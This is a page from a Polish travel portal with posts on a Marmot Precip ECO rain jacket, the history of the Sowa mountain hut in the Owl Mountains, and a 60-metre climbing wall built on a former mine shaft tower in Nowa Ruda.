Tegoroczna nowość od Marmota – stworzona z myślą o użytkownikach, którzy potrzebują stricte technicznych rozwiązań. W odróżnieniu od klasycznego modelu niniejsza wersja posiada laminowane zamki. Łączy w sobie wszelkie zalety serii Precip® ECO, na czele z zaletami niezwykle wydajnej membrany NanoProTM (wodoodporność – 10 000 mm H2O, oddychalność – 17 000 g H20/ m2), pozyskanych z recyclingu materiałów oraz nowego kroju. W celu zapewnienia wygody i nieskrępowanej kontroli ruchów w niniejszym modelu zastosowano sprawdzoną technologię Angel-Wing MovementTM. Przydatnym rozwiązaniem jest możliwość zapakowania kurtki do wewnętrznej kieszeni. Do tego dochodzi praktyczna regulacja rękawów za pomocą ściągaczy, również w obszarze kaptura. Kurtka dostępna jest w aż 15 wersjach kolorystycznych – po osmiu dla kobiet i mężczyzn (zbieżność koloru czarnego).

Waga rozmiaru M: 292 g – męska, 260,8 g – damska.
 
 
 
 
 
MARMOT Precip® ECO Strech Jacket

MARMOT Ws PrecipR Stretch Jacket przód
Najbardziej zawansowany technicznie model z serii Precip® ECO, opatentowany przez specjalistów z amerykańskiego Marmota. Przeznaczony jest dla najbardziej wymagających użytkowników, dla których priorytetem jest komfort wykonywania nieskrępowanych ruchów w czasie aktywności aerobowych. Bazę nadal stanowi membrana NanoProTM (wodoodporność – 10 000 mm H2O, oddychalność – 17 000 g H20/ m2) oraz pozyskane z recyclingu materiały. Wspólnym elementem wciąż pozostaje również technologia Angel-Wing MovementTM. W odróżnieniu od pozostałych modeli kurtek i spodni z linii Precip® ECO zastosowano tu jednak specjalny, elastyczny materiał zwiększający swobodę ruchów. Co więcej, kurtka wyposażona została w asymetryczne ściągacze na rękawach, dolne ściągacze umieszczone po wewnętrznej stronie oraz dodatkową regulację kaptura. Wywietrzniki umieszczono w dolnej części kurtki, a nie bezpośrednio pod pachami. W wydaniu męskim Precip® ECO Strech Jacket dostępny jest w czterech wersjach kolorystycznych, w damskim – w pięciu.

Waga rozmiaru M: 286,3 g – męska, 260,8 g – damska.
 
 
 
MARMOT Ms PrecipR Stretch Jacket przód
MARMOT Ws PrecipR Eco Jacket przód
MARMOT Ws PrecipR ECO Plus Jacket przód

 
 
Ceny kurtek MARMOT
 
 
 
Wyłącznym dystrybutorem marki Marmot na Polskę jest firma RAVEN Sp. J.
www.ravenco.eu 
2019-04-14 0 komentarze/y
0 FacebookTwitterPinterestEmail
Schroniska

Schronisko Sowa

przez Redakcja 2019-04-13
Napisane przez Redakcja
schronisko Sowa 14

 Schronisko Sowa

  Schronisko Sowa pod szczytem Wielkiej Sowy 1015m.n.p.m. Jedno z najstarszych schronisk w Polsce. Obiekt został uruchomiony 11 IV 1897 r.,

 

schronisko Sowa 14

 

Gospodarze schroniska w Górach Sowich otrzymali wypowiedzenie umowy w 2018 roku, ale pandemia wstrzymała eksmisję do 30 czerwca 2022r. 

Na stronie schroniska widnieje informacja:

„Od 22 czerwca 2022 roku – W związku z zmianą dzierżawcy obiektu – Schronisko Sowa obecnie jest nieczynne. Niewątpliwie obiekt potrzebuje remontu, a to wymaga czasu. Potrzebna jest cierpliwość która z pewnością będzie nagrodzona, nowym odświeżonym wizerunkiem historycznego schroniska.”

 

W środowisku górskim mówi się o tym, że nowy ajent pochodzi z Wrocławia, a w planach ma otwarcie restauracji i pensjonatu.

 

Do schroniska prowadzą szlaki:

Czerwony – z Przełęczy Jugowskiej przez Wielką Sowę od wschodu lub z Sokołowska przez Wolarz od zachodu
Zielony – z Sokolca lub w dół z Wielkiej Sowy
Żółty – Przełęcz Jugowska – platforma widokowa pod Kozią Równią – Przełęcz Kozie Siodło – Schronisko Sowa
 
 

schronisko Sowa 1

 

informacje archiwalne:

Obiekt turystyczny  ,,Sowa” dawniej DW ,,Marysieńka” posiada 42 miejsca noclegowe, węzeł sanitarny z ciepłą i zimna wodą oraz natryskami, centralne ogrzewanie oraz bufet. Przy schronisku funkcjonuje również na pole namiotowe.

Jacki Kalarus Bar-kawiarnia ,, Sowa’

Sokolec 49 57-450 Ludwikowice Kłodzkie

tel. kom. +48513172314

www.schroniskosowa.pl

 

Historia obiektu : Schronisko Sowa 

    Narastający ruch turystyczny w Górach Sowich przyczynił się pod koniec XIX w. do powstania pierwszych schronisk w obrębie tego pasma górskiego. Pierwszymi były schroniska na Przełęczy Jugowskiej (Zimmer-mannsbaude 1894 r.) i na Przełęczy Walimskiej (Siebenkurfürstenbaude -1896). Uruchomienia podobnego obiektu podjęła się również Federacja Towarzystw Górskich przy Sowie (Verband der Gebirgsvereine an der Eule).
 Wydaje się, iż projekt budowy schroniska pojawił się niespodziewanie, a pomysłodawcą był przewodniczący walimskiego Towarzystwa Sowiogórskiego (Eulengebirgsverein), fabrykant Karl Wiesen. Dnia 14 VII 1895 r. Podczas odbywanego w Walimiu zebrania federacji przekazał on na ten cel zakupiony przez siebie grunt (11 mórg) w górnej części Sowy, przysiółka Sokolca. Jego decyzja spotkała się z entuzjastycznym przyjęciem zebranych. Schronisko miało kosztować 7000 marek, a pieniądze zamierzano zebrać z dobrowolnych składek, poprzez sprzedaż papierów wartościowych, jak też przez zaciągniecie pożyczki hipotecznej.

 

 

schronisko Sowa 2

 

Obiekt został uruchomiony 11 IV 1897 r., czego niestety nie dożył inicjator całego zamierzenia. Schronisko miała początkowo prosty kształt. Na kamiennej podmurówce umieszczono drewniany budynek nakryty dwuspadowym dachem. W jego wnętrzu znajdowały się dwie sale gościnne, w tym jedna związkowa, oraz jeden duży i cztery małe pokoje noclegowe, w których umieszczono 8 łóżek. Obiekt posiadał znakomitą lokalizację (880 m n.p.m.), ponieważ był oddalony od szczytu Wielkiej Sowy jedynie około 15 minut marszu. Schronisko w pierwszym roku swojego istnienia czynne było do jesieni. W jednym z kolejnych lat przekształcono je w obiekt funkcjonujący cały rok. Miało to związek z coraz modniejszym w tym czasie narciarstwem. W 1898 r. został otwarty także bufet.

 

schronisko Sowa 3

 

Wzniesienie schroniska była bodaj pierwszym tak trudnym zadaniem stojącym przed Federacją Towarzystw Górskich przy Sowie. Wiązały się z tym pewne problemy finansowe. Dla pokrycia kosztów budowy wyemitowano 1000 papierów wartościowych o nominale 5 marek, których obsługa zajmowała uwagę organizacji przez szereg kolejnych lat. Zaciągnięto również pożyczkę, którą pomogła spłacić wdowa z Walimia, przeznaczając na ten cel w 1899 r. 4000 marek. Wliczając liczne darowizny, schronisko Sowa musiało pochłonąć wiele ponad 12.000 marek, czyli blisko dwukrotnie więcej niż wstępnie zakładano. W 1903 r. federacja zakupiła od Hansa Wiesena, syna zmarłego wcześniej Karla Wiesena, działkę Sowa nr 1, za co zapłacono 500 marek. Grunt ten przyłączono do działki schroniska, której powierzchnia wynosiła od tego czasu łącznie 4,472 ha.

 

schronisko Sowa 4

 

Prace przy schronisku Sowa, prowadzone były nieprzerwanie i systematycznie. Najpierw potrzebne były okiennice i ocieplenie ścian. W 1900 r. wspominano o oprowadzeniu wody, instalacji piorunochronu, szalowaniu ścian deskami itp. Kolejne lata to reparacje dachu, komina, okien i bezowocne poszukiwania studni. Do poważniejszej przebudowy doszło w 1910 r., kiedy obiekt znacząco powiększono poprzez dobudowanie oszklonego pomieszczenia. Decyzja została podjęta w 1909 r., ponieważ, jak to motywowano, skromne schronisko nie było w stanie obsłużyć wzrastającego ruchu turystycznego. Na realizację tego przedsięwzięcia przeznaczono około 8500 marek. Dalsze prace przy rozbudowie przerwał pożar z 18 II 1914 r., który spowodował straty oszacowane na 20.000 marek. Firmy ubezpieczeniowe pokryły 12.000 marek, a pozostałe koszty spadły na federację.

 

schronisko Sowa 5

 

Sprawami schroniska administrowało Towarzystwo Sowiogórskie z Dzierżoniowa, jego prowadzeniem zajmowali się zaś dzierżawcy. Pierwszym miał być niejaki Goebel, drugim Vogel, który odszedł w 1900 r. Jego następcą został Carl Barwarnietz, po którym przyszedł Paul Grunwald. Sytuacja schroniska Sowa ustabilizowała się, gdy dzierżawcą został Fritz Nikolaus. Prowadził on obiekt od 1915 r. do 30 IX 1940 r., ciesząc się dużą sławą wśród turystów.

 

schronisko Sowa 6

 

W okresie międzywojennym schronisko Sowa,  wymagało dalszej rozbudowy i modernizacji, co wynikało z rosnących oczekiwań turystów. Już w 1923 r., mimo niepewnej sytuacji gospodarczej, oszklono werandę i zbudowano toalety. Kolejne lata przyniosły między innymi doprowadzenie elektryczności, budowę kolejnej werandy i murowanej altany. Ponawiane były remonty pomieszczeń, a w 1929 r. pomalowano elewację. W okresie międzywojennym schronisko posiadało centralne ogrzewanie i bieżącą wodę, ale odpowiednie instalacje powstały zapewne wcześniej. W 1930 r. cały obiekt wyceniany był na sumę 50.000 marek.

 

schronisko Sowa 7

 

Większość osób wędrujących po górach nie była nastawiona na poważniejsze trudy. Wyjazdy w góry przypominał raczej spacery, których celem był najczęściej jakiś lokal. Ówczesne sudeckie schroniska nastawione były zatem raczej na obsługę osób chcących się w nich posilić i ugasić pragnienie, niż na wędrowców szukających noclegu. Nie znaczy to oczywiście, by schroniska te nie posiadały miejsc noclegowych, tyle że stosunek ilościowy pomiędzy nimi i miejscami gastronomicznymi wskazywał wyraźnie, na jakich klientów zwracało się najwięcej uwagi. Reguła ta znakomicie pasuje do schroniska Sowa, w części gastronomicznej, którego znajdowało się około 300 miejsc, gdy liczba miejsc noclegowych wahała się w tym czasie od 11 do 16 łóżek.  

 

schronisko Sowa 12

 

Po drugiej wojnie światowej schronisko zastało przejęte przez Fundusz Wczasów Pracowniczych, który przekształcił schronisko: na Dom Wczasowy „Marysieńka”. Na początku lat 90-tych ubiegłego wieku, obiekt został opuszczony i przejęty przez gminę Nowa Ruda. Niestety pozostawione bez opieki budynek schroniska, w szybkim tempie popadał w ruinę i jego los wydawał się przesądzony. 

 

schronisko Sowa 8

 

Zrujnowany budynek dawnego schroniska przetrwał do naszych czasów, dzięki pasjonatowi Gór Sowich panu Thomas Herha. W 1994 roku zakupił obiekt od gminy i podjął się nie łatwego zadania przywrócenia mu dawnej świetności. Od samego początku remontu w schronisku Sowa, pierwszoplanową postacią był jej gospodarz  pan Jacki Kalarus z Nowej Rudy – autor ciekawych książek o sztolniach Riese. Po długich i trudnych latach remontu (prawie 10 lat) schronisko Sowa, w sobotę 20 września 2003 roku, zostało uroczyście otwarte i oddane do użytku. Warto wstąpić do niego w ramach wędrówki na Wielką Sowę. Stojąca na jej szczycie wieża widokowa stanowi inny przykład działalności wspomnianej federacji, a oba obiekty wzajemnie się uzupełniają.

 

schronisko Sowa 9

 
Informacje – strona schroniska http://schroniskosowa.pl
Napisane na podstawie:

1. Przerwa T.: Trzy sudeckie organizacje górskie (1882-1945): Verband der Gebirgsvereine an der Eule – Federacja Towarzystw Górskich przy Sowie, Waldenburger Gebirgsverband – Wałbrzyska Federacja Górska, Zobtengebirgsverein – Towarzystwo Ślężańskie, praca doktorska (maszynopis), Wrocław 2001.

2. 50 Jahre im Dienste der Heimat, [w:] Eulengebirgs-Jahrbuch, red. E. Weijand, Schweidnitz 1932, s. 7-16.
 
 
 
schronisko Sowa 10
 
 
 
schronisko Sowa 11
 
 
 
schronisko Sowa 13
 
 
 
 
schronisko Sowa 15
 
 
 
schronisko Sowa 16
 
2019-04-13 0 komentarze/y
0 FacebookTwitterPinterestEmail
Dolny Śląsk

najwyższa ścianka wspinaczkowa w Polsce

przez Redakcja 2019-04-12
Napisane przez Redakcja
najwyższa ścianka wspinaczkowa w Polsce wysokość

najwyższa ścianka wspinaczkowa w Polsce wysokość

 Najwyższa ścianka wspinaczkowa w Polsce

 

 Nie w Warszawie czy Krakowie ale właśnie w Nowej Rudzie jest do dyspozycji wspinaczy, najwyższy tego typu obiekt w Polsce. Nie jest to konstrukcja zbudowana specjalnie na potrzeby tego coraz popularniejszego sportu, ale wykorzystano istniejącą betonową konstrukcję. Wspinaczka staje się coraz popularniejsza nie tylko w naszym kraju, a to dzięki wprowadzeniu jej jako nowa dyscyplina Olimpijska. W Polsce mamy wielu wybitnych wspinaczy, a tego typu obiekty ułatwiają uprawianie tej wyjątkowej i jakże widowiskowej dyscypliny sportu. 

60 metrów na prawie gładkiej ścianie robi wrażenie stojąc pod, a co dopiero wspinając się na wysokość 20 piętrowego kolosa ?

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 12

 

Jak powstała ścianka wspinaczkowa

Szyb Nowy I oddano do użytku w 1967 roku, użytkowana do końca istnienia pola Słupiec kopalni Nowa Ruda tj. do 2000 roku. Wieża była połączona krytymi pomostami z budynkiem lampowni i łaźni górniczej, umożliwiającymi dojście załogi oraz pomostami z budynkiem Zakładu Przeróbki Mechanicznej Węgla dla transportu urobku węglowego. Wewnątrz mieściły się dwie elektryczne maszyny wyciągowe obsługujące przedział klatkowy i przedział skipowy wraz z urządzeniami mechanicznymi i elektrycznymi niezbędnymi do ich funkcjonowania.

Wieża żelbetowa dwu przedziałowa:

– przedział klatkowy służący do transportu ludzi, kamienia oraz materiałów,

– przedział skipowy o nośności 20 ton do transportu urobku z dołu kopalni.

Obicie zostało wykonane jesienią 2014, natomiast odbiór gotowych ścianek nastąpił w styczniu 2015. 18 kwietnia tego samego roku została oddana również do użytku turystom.

Dla zainteresowanych udostępnione zostały dwie ścianki; zewnętrzna i wewnętrzna wraz z zagospodarowaniem terenu (ciągi piesze, miejsca postojowe). Całość przystosowana jest dla osób niepełnosprawnych. Ścianka wewnętrzna wykonana jest na bazie paneli wspinaczkowych z laminatu poliestrowego, usytuowana wewnątrz wieży żelbetowej.

Podstawowe wymiary ściany:

–   11 dróg wspinaczkowych o długości od 6-21 m,

–   wysięg przewieszenia do 8,4 m ( 4 drogi wspinaczkowe).

Ścianka zewnętrzna wykonana na elewacji betonowej budynku.

Podstawowe wymiary ścianki:

–   4 drogi wspinaczkowe na zewnątrz o długości od 22-58,8m.

Atrakcją zarządza spółka miejska  – Centrum Turystyczno-Sportowe Sp. z o o. Ścianka poszerza już i tak bogatą ofertę do uprawiania turystyki aktywnej w mieście. CTS zarządza obiektami zlokalizowanymi w odległości około 400m od ścianki, w których dostępna jest baza noclegowa, gastronomiczna oraz sportowa.

Planowany jest drugi etap inwestycji, który przewiduje wykonanie przeszklonej, zewnętrznej windy  oraz tarasu widokowego na dachu obiektu. Oczywiście jest to uzależnione od dostępnych środków finansowych, które Gmina Miejska Nowa Ruda planuje pozyskać w latach kolejnych z zewnętrznych źródeł finansowania.

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 1

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 4

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 2

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 5

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 7

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 9

 

 

Centrum Turystyczno Sportowe jest otwarte na współpracę ze środowiskami wspinaczkowymi i zaprasza chętnych do poprowadzenia tego wyjątkowego obiektu.

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 8

 

Centrum Turystyczno Sportowe Nowa Ruda 10

 

Prezes CTS Paweł Marciniak (z lewej) i kierownik obiektów sportowych Wiesław Miśkiewicz.

 

 

najwyższa ścianka wspinaczkowa w Polsce w Nowej Rudzie 3

 

Nowa Ruda za sprawą prężnie działających niegdyś kopalń, była wówczas najbogatszą gminą w Polsce. Obecnie przeżywa drugą młodość. Inwestycje widoczne są w każdym sektorze, a to pozwala planować i organizować nowe aktywności. W sąsiedztwie wieży na której zbudowano ściankę wspinaczkową, funkcjonuje pełne zaplecze turystyczno sportowe wraz z bazą gastronomiczo-hotelową. Takiego obiektu może pozazdrościć niejedno miasto wojewódzkie.

 

Centrum Turystyczno Sportowe Nowa Ruda 3

boisko o długości 100 m i stadion z pełnym zapleczem

 

Centrum Turystyczno Sportowe Nowa Ruda 4

 

Centrum Turystyczno Sportowe Nowa Ruda 5

 

basen z torem dł 25 m

 

Centrum Turystyczno Sportowe Nowa Ruda 6

 

dwie hale sportowe

 

Centrum Turystyczno Sportowe Nowa Ruda 8

 

Centrum Turystyczno Sportowe Nowa Ruda 9

 

dobrze wyposażona siłownia a obok sauna

 

Centrum Turystyczno Sportowe Nowa Ruda 7

 

część gastronomiczna także zachęca m.in takimi śniadaniami

 

Centrum Turystyczno Sportowe Nowa Ruda 11

 

część hotelowa

Centrum Turystyczno Sportowe Nowa Ruda 1

 

Centrum Turystyczno Sportowe Nowa Ruda 2

 

kierownik obiektów sportowych Wiesław Miśkiewicz tel.074 872 60 10

Centrum Turystyczno-Sportowe ul. Kłodzka 16 Nowa Ruda

www.centrum.ng.pl

2019-04-12 0 komentarze/y
0 FacebookTwitterPinterestEmail
  • 1
  • …
  • 179
  • 180
  • 181
  • 182
  • 183
  • …
  • 299

Archiwa

  • marzec 2026
  • luty 2026
  • styczeń 2026
  • grudzień 2025
  • listopad 2025
  • październik 2025
  • wrzesień 2025
  • sierpień 2025
  • lipiec 2025
  • czerwiec 2025
  • maj 2025
  • kwiecień 2025
  • marzec 2025
  • luty 2025
  • styczeń 2025
  • grudzień 2024
  • listopad 2024
  • październik 2024
  • wrzesień 2024
  • sierpień 2024
  • lipiec 2024
  • czerwiec 2024
  • maj 2024
  • kwiecień 2024
  • marzec 2024
  • luty 2024
  • styczeń 2024
  • grudzień 2023
  • listopad 2023
  • październik 2023
  • wrzesień 2023
  • sierpień 2023
  • lipiec 2023
  • czerwiec 2023
  • maj 2023
  • kwiecień 2023
  • marzec 2023
  • luty 2023
  • styczeń 2023
  • grudzień 2022
  • listopad 2022
  • październik 2022
  • wrzesień 2022
  • sierpień 2022
  • lipiec 2022
  • czerwiec 2022
  • maj 2022
  • kwiecień 2022
  • marzec 2022
  • luty 2022
  • styczeń 2022
  • grudzień 2021
  • listopad 2021
  • październik 2021
  • wrzesień 2021
  • sierpień 2021
  • lipiec 2021
  • czerwiec 2021
  • maj 2021
  • kwiecień 2021
  • marzec 2021
  • luty 2021
  • styczeń 2021
  • grudzień 2020
  • listopad 2020
  • październik 2020
  • wrzesień 2020
  • sierpień 2020
  • lipiec 2020
  • czerwiec 2020
  • maj 2020
  • kwiecień 2020
  • marzec 2020
  • luty 2020
  • styczeń 2020
  • grudzień 2019
  • listopad 2019
  • październik 2019
  • wrzesień 2019
  • sierpień 2019
  • lipiec 2019
  • czerwiec 2019
  • maj 2019
  • kwiecień 2019
  • marzec 2019
  • luty 2019
  • styczeń 2019
  • grudzień 2018
  • listopad 2018
  • październik 2018
  • wrzesień 2018
  • sierpień 2018
  • lipiec 2018
  • czerwiec 2018
  • maj 2018
  • kwiecień 2018
  • marzec 2018
  • luty 2018
  • styczeń 2018
  • grudzień 2017
  • listopad 2017
  • październik 2017
  • wrzesień 2017
  • sierpień 2017
  • lipiec 2017
  • czerwiec 2017
  • maj 2017
  • kwiecień 2017
  • marzec 2017
  • luty 2017
  • styczeń 2017
  • grudzień 2016
  • listopad 2016
  • październik 2016
  • wrzesień 2016
  • sierpień 2016
  • lipiec 2016
  • czerwiec 2016
  • maj 2016
  • kwiecień 2016
  • marzec 2016
  • luty 2016
  • styczeń 2016
  • grudzień 2015
  • listopad 2015
  • październik 2015
  • wrzesień 2015
  • sierpień 2015
  • lipiec 2015
  • czerwiec 2015
  • maj 2015
  • kwiecień 2015
  • marzec 2015
  • luty 2015
  • styczeń 2015
  • grudzień 2014
  • listopad 2014
  • październik 2014
  • wrzesień 2014
  • sierpień 2014
  • lipiec 2014
  • czerwiec 2014
  • maj 2014
  • kwiecień 2014
  • marzec 2014
  • luty 2014
  • styczeń 2014
  • grudzień 2013
  • listopad 2013
  • październik 2013
  • wrzesień 2013
  • sierpień 2013
  • lipiec 2013
  • czerwiec 2013
  • maj 2013
  • kwiecień 2013
  • marzec 2013
  • luty 2013
  • styczeń 2013
  • grudzień 2012
  • listopad 2012
  • październik 2012
  • wrzesień 2012
  • sierpień 2012
  • lipiec 2012
  • czerwiec 2012
  • maj 2012
  • kwiecień 2012
  • marzec 2012
  • luty 2012
  • styczeń 2012
  • grudzień 2011
  • listopad 2011
  • październik 2011
  • wrzesień 2011
  • sierpień 2011
  • lipiec 2011
  • czerwiec 2011
  • maj 2011
  • kwiecień 2011
  • marzec 2011
  • luty 2011
  • styczeń 2011
  • grudzień 2010
  • listopad 2010
  • październik 2010
  • wrzesień 2010
  • sierpień 2010
  • lipiec 2010
  • czerwiec 2010
  • maj 2010
  • kwiecień 2010
  • marzec 2010
  • luty 2010
  • styczeń 2010
  • grudzień 2009
  • listopad 2009
  • październik 2009
  • wrzesień 2009
  • sierpień 2009
  • lipiec 2009
  • czerwiec 2009
  • maj 2009
  • kwiecień 2009
  • styczeń 2009
  • listopad 2008
  • październik 2008

Kategorie

  • Administracyjna
  • Afryka
  • Akcje eko
  • Aktualności
  • Aktualności inne
  • Albania
  • Aleja Podróżników
  • Ameryka Północna
  • Ameryka Południowa
  • Ameryka Środkowa i Karaiby
  • Artykuły testowe
  • Australia i Oceania
  • Austria
  • Azja
  • Bez kategorii
  • Biegi
  • BUŁGARIA
  • Chorwacja
  • Ciekawostki
  • Cykliczne Spotkania Podróżników
  • CZARNOGÓRA
  • Czechy
  • Czyste Góry Czyste Szlaki
  • Czyste Tatry
  • Czyste Tatry
  • Dania
  • Dolny Śląsk
  • Europa
  • Festiwale
  • Filmy
  • Francja
  • Góry
  • HISZPANIA
  • HOLANDIA
  • Konkurs Fotograficzny
  • Konkursy
  • Konkursy inne
  • Korona
  • Kościoły i obiekty sakralne
  • KOSOWO
  • Książka
  • Kuchnia
  • Kuchnie świata
  • Kujawsko-pomorskie
  • LITWA
  • Łódzkie
  • Lotniska i powietrze
  • Lubelskie
  • Lubuskie
  • LUKSEMBURG
  • MACEDONIA
  • Małopolskie
  • Malta
  • Materiał zewnętrzny
  • Miasta
  • Miejsca wyjątkowe
  • Muzea
  • Najciekawsze szlaki piesze i rowerowe w Europie
  • Newsy
  • NIEMCY
  • NORWEGIA
  • Opolskie
  • Parowozownie
  • Podkarpackie
  • Podlaskie
  • Podziemia
  • Podziemia
  • Podziemia turystyczne w Europie Underground in Europe
  • Polecamy
  • Polska
  • Pomorskie
  • Portugalia
  • PRACE KONKURSOWE POLSKA
  • PRACE KONKURSOWE ŚWIAT
  • Projekt 4 Pory Roku
  • Projekt Mali Melomani
  • Projekt Mali Melomani II
  • Recenzje sprzętu
  • Reklama
  • Robocze inne
  • ROSJA
  • Rower
  • Różne media
  • Rumunia
  • Schroniska
  • SERBIA
  • Skanseny w Polsce
  • Śląskie
  • Slowacja
  • Slowenia
  • Spływy kajakowe
  • Spotkania autorskie
  • Spotkania, zloty, imprezy podróżników
  • Sprzęt
  • Świat
  • Świętokrzyskie
  • SZWAJCARIA
  • Tanie loty
  • Tatromaniak
  • Testy sprzętu
  • Twierdze i Forty
  • Ukraina
  • unesco
  • Via Adriatica Trail
  • Warmińsko-mazurskie
  • Warsztaty i plenery fotograficzne
  • WĘGRY
  • WIELKA BRYTANIA
  • Wielkopolskie
  • WŁOCHY
  • Woda
  • Wspomnienia z podróży
  • Wystawy
  • Wywiady
  • Zabytki sakralne
  • Zachodniopomorskie
  • Zamki i pałace
  • Zostań w domu nie odwołuj

Obserwuj nas

Top Selling Multipurpose WP Theme

Ostatnie posty

  • Bezpieczne (prawie) szlaki zimowe w Tatrach- propozycje (prawie) dla każdego

    2026-03-28
  • Via Bulgarica – Bułgarski Szlak Przygody

    2026-03-28
  • Schrony i schroniska górskie w Chorwacji

    2026-03-27
  • Skansen Przemysłu Naftowego Magdalena w Gorlicach

    2026-03-25
  • Skansen Józefa Chełmowskiego w Brusach – artysta z innego świata

    2026-03-24
  • Grota Mechowska – największa osobliwość przyrody na Niżu Europejskim

    2026-03-22

Kanał społecznościowy

Kanał społecznościowy

Wybór redaktorów

zamek Drakuli w Poenari

2016-01-25

Rezerwat Groapa Ruginoasa, Góry Bihor w Rumunii

2022-08-06

Zamek – Twierdza Rupea w Rumunii

2022-08-09

Rezerwat Cheile Turzii – wąwóz Turda

2024-01-23

Zamek Drakuli w Hunedoarze w Rumunii

2024-03-03

Klub Podróżników Śródziemie

Ogólnopolski portal podróżniczy poświęcony odkrywaniu Polski i świata. Od znanych miast i zabytków, przez górskie szlaki i podziemia, po miejsca nieoczywiste i zapomniane.

Rzetelne relacje, autorskie przewodniki oraz praktyczne wskazówki dla turystów, pasjonatów historii i miłośników aktywnego podróżowania.

Odkrywaj świat z nami – świadomie, krok po kroku i z pasją.

Ciekawe w województwach

    • Dolnośląskie
    • Kujawsko-pomorskie
    • Lubelskie
    • Lubuskie
    • Łódzkie
    • Małopolskie
    • Mazowieckie
    • Opolskie
    • Podkarpackie
    • Podlaskie
    • Pomorskie
    • Śląskie
    • Świętokrzyskie
    • Warmińsko-mazurskie
    • Wielkopolskie
    • Zachodniopomorskie
dhosting

Polecane

Bezpieczne (prawie) szlaki zimowe w Tatrach- propozycje (prawie) dla każdego
Via Bulgarica – Bułgarski Szlak Przygody
Schrony i schroniska górskie w Chorwacji
Skansen Przemysłu Naftowego Magdalena w Gorlicach

Ostatnio dodane

Bezpieczne (prawie) szlaki zimowe w Tatrach- propozycje (prawie) dla każdego
Via Bulgarica – Bułgarski Szlak Przygody
Schrony i schroniska górskie w Chorwacji
Skansen Przemysłu Naftowego Magdalena w Gorlicach
Facebook Twitter Youtube Linkedin Envelope Rss

klubpodroznikow.com – Copyright & Copy 2025/26

Created by Konfig.Info

  • Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Fundacja Aleja Podróżników
  • Forum
  • Relacje
    • Europa
    • Polska
    • Świat
  • Sprzęt
    • Recenzje sprzętu
    • Testy sprzętu
  • Książka
  • Kontakt
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Home
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat

Wybór redaktorów

  • Sighișoara miasto w środkowej Rumunii w Siedmiogrodzie

    2026-02-02
  • Góry solne w Rumunii – Muntele de sare

    2026-02-01
  • Droga Transfogaraska w Rumunii

    2025-09-17
  • Wulkany błotne w Rumunii, wyjątkowy rezerwat przyrody

    2024-08-20
  • Jaskinia Meziad, Peşteră

    2024-08-20
  • Kopalnia soli Salina Turda w Rumunii

    2024-08-17
@2021 - All Right Reserved. Designed and Developed by PenciDesign
Ta strona wykorzystuje pliki cookies w celu zapewnienia prawidłowego działania serwisu oraz analiz ruchu. Zobacz politykę prywatności .